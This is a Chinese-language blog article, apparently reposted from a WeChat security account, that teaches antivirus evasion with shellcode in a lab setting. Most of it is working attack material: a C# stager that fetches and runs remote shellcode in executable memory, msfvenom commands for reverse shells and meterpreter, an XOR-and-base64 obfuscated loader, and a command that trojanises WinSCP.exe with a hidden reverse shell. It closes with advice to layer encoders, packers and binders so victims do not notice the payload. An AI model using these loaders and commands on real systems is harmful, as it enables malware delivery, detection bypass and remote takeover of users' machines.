AV 规避:Shellcode

admin 2024年2月28日00:12:50评论18 views字数 14223阅读47分24秒阅读模式

PE 结构

Windows 可执行文件格式,又称 PE (Portable Executable),是一种数据结构,用于保存文件所需的信息。是一种在磁盘上组织可执行文件代码的方法。Windows 操作系统组件(如 Windows 和 DOS 加载程序)可以将其加载到内存中,并根据 PE 中找到的文件信息执行它。

通常,Windows 二进制文件的默认文件结构(如 EXE、DLL 和对象代码文件)具有相同的 PE 结构。

PE 中有不同类型的数据容器,每个容器包含不同的数据。

  1. .text 存储程序的实际代码

  2. .data 保存了初始化和定义的变量

  3. .bss 保存未初始化的数据(声明的变量,没有赋值)

  4. .rdata 包含只读数据

  5. .edata 包含可导出的对象和相关的表信息

  6. .idata 导入的对象和相关的表信息

  7. .reloc 映像重定位信息

  8. .rsrc 链接程序使用的外部资源,如图像、图标、嵌入式二进制文件和清单文件,其中包含有关程序版本、作者、公司和版权的所有信息!
以下是 Windows 加载程序读取可执行二进制文件并将其作为进程运行的示例步骤。
  1. 标头部分:

    • 幻数以“MZ”开头,它告诉加载程序这是一个 EXE 文件。

    • 文件签名。

    • 文件是针对什么 CPU 体系结构编译的。

    • 创建的时间戳。

  2. 解析部分表详细信息:

    • 文件包含的节数。

  3. 将文件内容映射到内存中,基于:

    • 入口点地址和基地址的偏移。

    • RVA:相对虚拟地址,与 Imagebase 相关的地址。

  4. 导入文件、dll 和其他对象被加载到内存中。

  5. 找到入口点地址并运行主执行函数。

Shellcode 简介

为了生成自己的 shellcode,需要从汇编程序机器代码中写入和提取字节。
为 Linux 创建一个简单的 shellcode,该代码写入字符串“Hello World”。以下汇编代码使用两个主要函数:
  • 系统写入功能(sys_write)打印出写入的字符串。

  • 系统退出功能(sys_exit)终止程序的执行。

为了调用这些函数,将使用 syscalls。系统调用是程序请求内核执行某些操作的方式。

每个操作系统都有不同的系统调用约定,对于 64 位 Linux,可以通过设置以下值从内核调用所需的函数:

rax System Call rdi rsi rdx
0x1 sys_write unsigned int fd const char *buf size_t count
0x3c sys_exit int error_code

上表告诉我们需要在不同的寄存器中设置哪些值才能调用 sys_write sys_exit 函数。
对于 64 位 Linux,rax 寄存器用于指示调用的内核中的函数。将 rax 设置为 0x1 会使内核执行 sys_write,将 rax 设置为 0x3c 会使内核执行 sys_exit。这两个函数中的每一个都需要一些参数才能工作,这些参数可以通过 rdirsi rdx 寄存器进行设置。

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

对于 sys_writerdi 存放要写入的文件描述符。rsi 指向要打印的字符串指针,rdx 存储要打印的字符串大小。

对于 sys_exit,需要将 rdi 设置为程序的退出代码。0 意味着程序成功退出。
创建文件 hello.asm,并写入以下内容。
global _start
section .text_start:    jmp MESSAGE
GOBACK: mov rax, 0x1 mov rdi, 0x1    pop rsi mov rdx, 0xd syscall
mov rax, 0x3c mov rdi, 0x0 syscall
MESSAGE: call GOBACK db "Hello World", 0dh, 0ah

0dh0ah 相当于换行符。

  • 通过在 rax 寄存器中存储 1 来指定 sys_write 函数。

  • 将 rdi 设置为 1 以将字符串打印到用户控制台 (STDOUT)。

  • 弹出一个指向字符串的指针,该指针是在调用 GOBACK 时被压入的,并将其存储到 rsi 中。

  • 通过 syscall 指令,使用准备好的值执行 sys_write 函数。

  • 对于下一部分,执行相同的操作来调用 sys_exit 函数,因此将 0x3c 设置到 rax 寄存器中,并调用 syscall 函数来退出程序。
编译并链接 ASM 代码以创建 x64 Linux 可执行文件并最终执行程序。
root@ip-10-10-197-134:/tmp# vi hello.asmroot@ip-10-10-197-134:/tmp# nasm -f elf64 hello.asm root@ip-10-10-197-134:/tmp# lshello.asmhello.oroot@ip-10-10-197-134:/tmp# ld hello.o -o helloroot@ip-10-10-197-134:/tmp# ./helloHello World
使用 nasm 命令来编译 asm 文件,-f elf64 选项指示正在为 64 位 Linux 进行编译。编译成功后得到 .o 文件,其中包含目标代码,需要链接该文件才能成为可执行文件。ld 命令用于链接对象并获取最终的可执行文件。-o 选项用于指定输出可执行文件的名称。
转储编译的二进制文件的 .text 部分,使用 objdump 命令提取 shellcode。
root@ip-10-10-197-134:/tmp# objdump -d hello
hello: file format elf64-x86-64

Disassembly of section .text:
0000000000400080 <_start>: 400080: eb 1e jmp 4000a0 <MESSAGE>
0000000000400082 <GOBACK>: 400082: b8 01 00 00 00 mov $0x1,%eax 400087: bf 01 00 00 00 mov $0x1,%edi 40008c: 5e pop %rsi 40008d: ba 0d 00 00 00 mov $0xd,%edx 400092: 0f 05 syscall 400094: b8 3c 00 00 00 mov $0x3c,%eax 400099: bf 00 00 00 00 mov $0x0,%edi 40009e: 0f 05 syscall
00000000004000a0 <MESSAGE>: 4000a0: e8 dd ff ff ff callq 400082 <GOBACK> 4000a5: 48 rex.W 4000a6: 65 6c gs insb (%dx),%es:(%rdi) 4000a8: 6c insb (%dx),%es:(%rdi) 4000a9: 6f outsl %ds:(%rsi),(%dx) 4000aa: 20 57 6f and %dl,0x6f(%rdi) 4000ad: 72 6c jb 40011b <MESSAGE+0x7b> 4000af: 64 fs 4000b0: 0d .byte 0xd 4000b1: 0a .byte 0xa
从上面的输出中提取十六进制值。为此,使用 objcopy .text 部分以二进制格式转储到名为 hello.text 的新文件中:
root@ip-10-10-197-134:/tmp# objcopy -j .text -O binary hello hello.textroot@ip-10-10-197-134:/tmp# lshellohello.asmhello.ohello.text
hello.text 包含二进制格式的 shellcode,因此为了能够使用它,需要先将其转换为十六进制。xxd 命令的 -i 选项,可直接以 C 字符串形式输出二进制文件:
root@ip-10-10-197-134:/tmp# xxd -i hello.text unsigned char hello_text[] = {  0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,  0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,  0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,  0xff, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64,  0x0d, 0x0a};unsigned int hello_text_len = 50;
编写一个 C 程序,看看 shellcode 能否执行。
#include <stdio.h>
int main(int argc, char **argv){ unsigned char hello_text[] = { 0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff, 0xff, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64, 0x0d, 0x0a };
(*(void(*)())hello_text)(); return 0;}
成功执行:
root@ip-10-10-197-134:/tmp# gcc -g -Wall -z execstack test.c -o testxroot@ip-10-10-197-134:/tmp# ./testxHello World
从 EXE 文件生成 Shellcode
Shellcode 也可以存储在 .bin 文件中,这是一种原始数据格式。可使用 xxd -i 命令获取它的 shellcode。
root@ip-10-10-197-134:/tmp# msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > example.binNo encoder specified, outputting raw payloadPayload size: 193 bytes
root@ip-10-10-197-134:/tmp# file example.bin example.bin: data
root@ip-10-10-197-134:/tmp# xxd -i example.bin unsigned char example_bin[] = { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};unsigned int example_bin_len = 193;
Stage Payloads
有效负载通常分为阶段式或无阶段式。
Stageless Payloads(无阶段载荷)是指在生成时包含完整功能的有效负载。
Staged Payloads(阶段式载荷)通过使用中间 shellcode 来工作,它们充当执行最终 shellcode 的步骤。
阶段式 VS 无阶段式

无阶段式:

  • 生成的可执行文件包含了让 shellcode 工作所需的所有内容。

  • 有效负载将在不需要额外网络连接的情况下执行。网络交互越少,被 IPS 检测到的机率就越小。

阶段式:
  • 磁盘占用空间小。

  • 最终的 shellcode 未嵌入到可执行文件中。如果有效负载被捕获,蓝队将只能访问 stage0。

  • 最终的 shellcode 被加载到内存中,不会接触磁盘。

  • 可以对许多 shellcode 重复使用相同的 stage0 dropper,因为可以简单地替换提供给受害机的最终 shellcode。

创建自己的 Stager
using System;using System.Net;using System.Text;using System.Configuration.Install;using System.Runtime.InteropServices;using System.Security.Cryptography.X509Certificates;
public class Program{ [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main() { string url = "https://10.10.197.134/shellcode.bin"; Stager(url); }
public static void Stager(string url)    { WebClient wc = new WebClient(); wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"); ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); IntPtr threatHandle = IntPtr.Zero; UInt32 threadId = 0; IntPtr parameter = IntPtr.Zero; threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);        WaitForSingleObject(threatHandle, 0xFFFFFFFF);    }}
代码中最重要的部分将在 Stager() 函数中,它将接收一个 URL,从中下载要执行的 shellcode。
WebClient wc = new WebClient();ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
Stager() 函数的第一部分将创建一个新的 WebClient() 对象,该对象允许通过 Web 请求下载 shellcode。
在发出实际请求之前,覆盖负责在使用 HTTPS 请求时验证 SSL 证书的 ServerCertificateValidationCallback 方法,以便 WebClient 不会因自签名或无效证书而异常中断 。
调用 DownloadData() 方法从给定的 URL 下载 shellcode 并将其存储到 shellcode 变量中。
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
使用 VirtualAlloc() 向操作系统申请内存空间,并设置 PAGE_EXECUTE_READWRITE 标志,使分配的内存可读可写可执行。
内存空间分配给 codeAddr 变量后,使用 Marshal.Copy() 将 shellcode 变量的内容复制到 codeAddr 中。
IntPtr threadHandle = IntPtr.Zero;UInt32 threadId = 0;IntPtr parameter = IntPtr.Zero;threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
使用 CreateThread() 函数在当前进程上生成一个新线程来执行 shellcode。 
创建线程后,调用 WaitForSingleObject() 函数来指示当前程序必须等待线程执行完成才能继续。这可以防止程序在 shellcode 线程执行之前关闭。
要编译代码,使用以下命令:
PS C:> csc StagedPayload.cs
使用 stager 运行反向 shell
编译有效负载后,设置一个 Web 服务器来托管最终的 shellcode。stager 将连接到该服务器以检索 shellcode 并在受害机的内存中执行它。
首先生成一个 shellcode(文件名需要与 stager 中的 URL 匹配):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.197.134 LPORT=7474 -f raw -o shellcode.bin -b 'x00x0ax0d'

shellcode 使用的是原始格式,因为 stager 会直接将下载的内容加载到内存。

有了 shellcode,设置一个简单的 HTTPS 服务器。
首先创建自签名证书:
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 3 -nodes

有了 SSL 证书,使用 python3 生成一个简单的 HTTPS 服务器:

python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
运行 StagedPayload.exe
root@ip-10-10-197-134:~# nc -lvp 7474Listening on [0.0.0.0] (family 0, port 7474)Connection from ip-10-10-202-45.eu-west-1.compute.internal 49762 received!Microsoft Windows [Version 10.0.17763.1821](c) 2018 Microsoft Corporation. All rights reserved.
C:UsersthmDesktop>
Shellcode 编码和加密
MSFVenom 使用编码
可以使用以下命令列出 msfvenom 可用的所有编码器:
msfvenom --list encoders | grep excellent
通过 -e(encoder)选项指示要使用 shikata_ga_nai 编码器,然后通过 -i(iterations)选项指定我们想要对有效负载进行 3 次编码:
msfvenom -a x86 --platform Windows LHOST=10.10.197.134 LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b 'x00' -i 3 -f csharp
MSFVenom 使用加密
列出可用的加密算法,可以使用以下命令:
msfvenom --list encrypt
构建一个 XOR 加密的有效负载。对于这种类型的算法,需要指定一个密钥。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.197.134 LPORT=7788 -f exe --encrypt xor --encrypt-key "MyKeyPass***" -o xored-revshell.exe
创建自定义有效负载
首先使用 msfvenom 生成 C# 的反向 shell:
msfvenom LHOST=10.10.197.134 LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
在构建实际的有效负载之前,创建一个程序,该程序将采用 msfvenom 生成的 shellcode 并对其进行编码。
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;
namespace Encrypter{ internal class Program { private static byte[] xor(byte[] shell, byte[] KeyBytes) { for (int i = 0; i < shell.Length; i++) { shell[i] ^= KeyBytes[i % KeyBytes.Length]; } return shell; } static void Main(string[] args) { //XOR Key - 解密的 Droppr 中必须相同 string key = "THMK3y123!";
//将 Key 转换为字节 byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//原始 Shellcode 在这里(csharp 格式) byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//逐字节异或并保存到新的字节数组中 byte[] encoded = xor(buf, keyBytes); Console.WriteLine(Convert.ToBase64String(encoded)); } }}

使用自定义密钥对有效负载进行异或,然后使用 base64 对其进行编码。

自解码有效负载
首先解码 Base64 内容,然后使用在编码器中使用的密钥对结果进行异或。
using System;using System.Net;using System.Text;using System.Runtime.InteropServices;
public class Program { [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static byte[] xor(byte[] shell, byte[] KeyBytes) { for (int i = 0; i < shell.Length; i++) { shell[i] ^= KeyBytes[i % KeyBytes.Length]; } return shell; } public static void Main() {
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE="; byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!"; //将 Key 转换为字节 byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero; UInt32 threadId = 0; IntPtr parameter = IntPtr.Zero; threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
    WaitForSingleObject(threadHandle, 0xFFFFFFFF); }}
加壳
另一种规避基于磁盘的 AV 检测方法是使用加壳程序。
加壳器是一种软件,它将程序作为输入并对其进行转换,使其结构看起来有所不同,但其功能保持完全相同。加壳有两个主要目标:
  • 压缩程序,使其占用更少的空间。

  • 保护程序,避免被轻松逆向。
想要保护其软件免遭逆向或破解的软件开发人员通常会使用加壳程序。通过实施混合转换(包括压缩、加密、添加调试保护等)来实现一定程度的保护。加壳程序也常用于混淆恶意软件。

市面上有相当多的加壳程序,包括 UPX、MPRESS、Themida 等。

对 shellcode 加壳
using System;using System.Net;using System.Text;using System.Configuration.Install;using System.Runtime.InteropServices;using System.Security.Cryptography.X509Certificates;
public class Program { [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main() { byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero; UInt32 threadId = 0; IntPtr parameter = IntPtr.Zero; threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
    WaitForSingleObject(threadHandle, 0xFFFFFFFF); }}
该有效负载采用 msfvenom 生成的 shellcode 并将其运行到单独的线程中。 为此,需要生成一个新的 shellcode 并将其放入代码的 shellcode 变量中:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.197.134 LPORT=7478 -f csharp

因为有效负载是在 .NET 上编写的,因此可以使用 ConfuserEx 加壳器

绑定器
绑定器是一种将多个可执行文件合并为一个可执行文件的程序。
当您想要分发隐藏在另一个已知程序中的有效负载以欺骗用户,让他们相信他们正在执行不同的程序时,通常会使用它。
虽然每个绑定程序的工作方式可能略有不同,但它们基本上会将 shellcode 添加到合法程序中并以某种方式执行它。

例如更改 PE 头中的入口点,以便 shellcode 在程序之前执行,完成后将重定向回合法程序。当用户单击生成的可执行文件时,shellcode 将首先以静默方式执行,并继续正常运行程序,而用户不会注意到。

MSFVenom 使用绑定器
可以使用 msfvenom 轻松地将有效负载植入到任何 .exe 中。该二进制文件仍将照常工作,但会静默执行额外的有效负载。
msfvenom 使用的方法是通过为其创建一个额外的线程来注入到程序。拥有一个单独的线程会更好,如果 shellcode 由于某种原因失败,程序不会被阻塞。
以 WinSCP 作为后门应用程序。
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=10.10.197.134 lport=7779 -f exe -o WinSCP-evil.exe
绑定器和 AV
绑定器不会对 AV 解决方案隐藏有效负载做太多事情。在不进行任何更改的情况下连接两个可执行文件意味着生成的可执行文件仍将触发原始有效负载所做的签名。
绑定器的主要用途是欺骗用户,让他们相信他们正在执行合法的可执行文件。
创建真正的有效负载时,您可能需要使用编码器、加密器或加壳器来隐藏基于签名的反病毒软件的 shellcode,然后将其绑定到已知的可执行文件中,以便用户不知道正在执行什么。

原文始发于微信公众号(走在网安路上的哥布林):AV 规避:Shellcode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月28日00:12:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AV 规避:Shellcodehttp://cn-sec.com/archives/2531908.html

发表评论

匿名网友 填写信息